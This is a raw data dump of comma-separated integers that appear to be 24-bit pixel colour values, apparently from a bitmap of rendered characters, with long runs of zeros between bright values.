,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,102,11993087,16777215,16767888,9483995,16777142,6684672,0,0,0,0,0,6731519,16777215,16777215,16777215,16777179,9452032,3827382,14417919,16777179,11964474,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,14992,11974246,3815936,58,9493503,16777142,6684672,58,6721718,11964474,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,6731519,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,14950,9493503,16777215,14389306,0,0,0,102,11993087,16777179,9452032,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16767926,14408667,14408667,14408667,14399120,6699520,0,0,0,26294,16777215,16777142,6684672,14950,6721718,11974288,9463354,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,58,9493503,16777215,11953722,0,0,14950,11993087,16777179,9452032,0,58,9493503,16777215,11953664,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16777215,14408630,9463354,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,14950,9483995,16777215,16777215,16777215,16777179,11953722,3801088,0,0,0,0,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,6731519,16777142,6684672,3838171,16777215,16777179,11974326,14408667,14408703,16777142,6684672,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,3827344,14417919,16777179,9452032,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,26294,16777215,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,6731519,16767888,6721755,16777142,6684774,11993087,16777142,6684672,0,3838171,16777215,16758374,3838171,16777215,11953664,0,26294,16777215,16767888,3801088,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777215,16767888,6699520,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777142,6684672,0,0,58,9493503,16777215,11953664,0,14992,14417919,16767888,3801088,14992,14417919,16777215,11953664,0,3838171,16777215,14389306,0,0,0,14992,14417919,16777142,11983871,16777215,11953664,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408667,11953664,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,102,11993087,16777215,16777215,16767963,14417919,16777142,11974399,16777215,14389306,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,102,11993087,16777215,16777215,16767963,14417919,16777179,11974363,16777215,14389306,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777142,6684672,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777179,14408630,11974363,16777215,16777179,14399158,11983835,16777215,16777142,6684672,0,26294,16777215,16767926,11983871,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,58,9493503,16777215,16777215,16767963,14408703,16777142,9474267,16777215,14389306,0,58,9493503,16777215,16777215,16777179,9463440,14417919,16777179,14408703,16777215,16777215,11953664,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,14992,14417919,16767888,3801088,14992,14417919,16777215,11953664,0,6731519,16777215,11953664,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,3827344,9483958,11964518,3815936,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,6731483,16777215,16777215,16777215,16777215,16777215,16777215,16767926,6684672,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,3827302,9483995,16777215,16777215,16777215,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,102,11983871,16777215,16777215,16777215,16767888,3801190,11993087,16758374,0,0,6731519,16777215,14399078,6710928,11983835,14417919,14399078,3801088,0,0,0,0,0,3838171,16777215,16777142,6684672,0,3827382,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,3838171,16777215,16777215,16777215,16777215,14389306,102,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777142,9452090,3815994,9484031,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,26294,16777215,16777215,14399158,11974326,11974288,3801088,0,0,0,0,0,14992,14408667,14408667,14417919,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11974326,11983871,16777215,14399158,11964518,3801088,0,0,0,0,58,9493503,16777215,14408630,11974363,14417919,16777179,9452032,0,0,58,9493503,16777215,16758374,3801088,0,6731519,16777215,16767888,3801088,0,0,14992,14417919,16777215,16777215,16777215,16777179,9452032,3827382,14417919,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777179,9452032,3827382,14417919,16777215,14389306,0,0,6731519,16777215,16777215,16777215,16777179,9452032,14992,14417919,16777215,14399078,3801088,0,0,0,0,102,11993087,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,102,11993087,16767888,3801190,11993087,16777142,6684672,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16758374,3838171,16777215,11953664,0,26294,16777215,16767888,3801088,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16767926,6684672,0,6731483,16777215,16767888,3801088,0,14992,14417919,16777179,9452032,0,0,6731519,16777179,9452090,9493503,16777215,11953664,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,0,0,14992,14417919,16777179,9452032,0,0,6731519,16777215,14389306,0,0,6731519,16777215,14389306,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,6721755,14408667,16777215,16777215,16777142,9474267,16777215,16777215,16777215,16777215,11953664,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,3816038,9483958,11974326,11964518,3815936,3838171,16777215,16758374,0,0,26294,16777215,16767926,11983871,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,3801088,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,9484031,16777215,14408667,16777215,16777215,16777215,11953664,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,6721718,11974288,6684672,0,3838134,11974326,9452032,0,0,0,0,58,9493503,16767888,3801088,0,3838171,16777215,11953664,0,0,0,0,26294,16777215,16777215,16777215,16777142,9452032,0,0,0,0,0,0,3827344,11974326,11964518,3815994,9483995,16777215,16767926,6699520,0,0,0,0,26294,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,58,6721718,11974288,6699520,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,6731519,16777215,16777215,14408630,11983871,16777179,11974363,14417919,16777215,16777142,6684672,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,58,9493503,16777215,11953664,58,9493467,14408630,9452032,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,14906,9474230,14408703,16777215,14408592,6699578,0,0,0,0,14992,14417919,16777142,6684672,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,3838171,16777215,16758374,3838171,16777215,16777215,16777215,16777215,16767926,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,58,6731483,16777215,16777215,16777215,16777215,14408630,6699520,0,0,0,6731519,16777215,16758374,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,58,6721718,14417919,16777215,16777215,16767926,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827344,11983871,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,14992,14417919,16777215,16767926,6684672,0,0,58,9493503,16777142,6684730,9493503,16777179,9452032,0,14992,14417919,16777142,6684672,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16767963,14399120,6699520,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,14992,14417919,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,26294,16777179,14408703,16758374,102,11993087,16777142,6684672,0,3838171,16777215,16758374,102,11993087,16758374,0,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,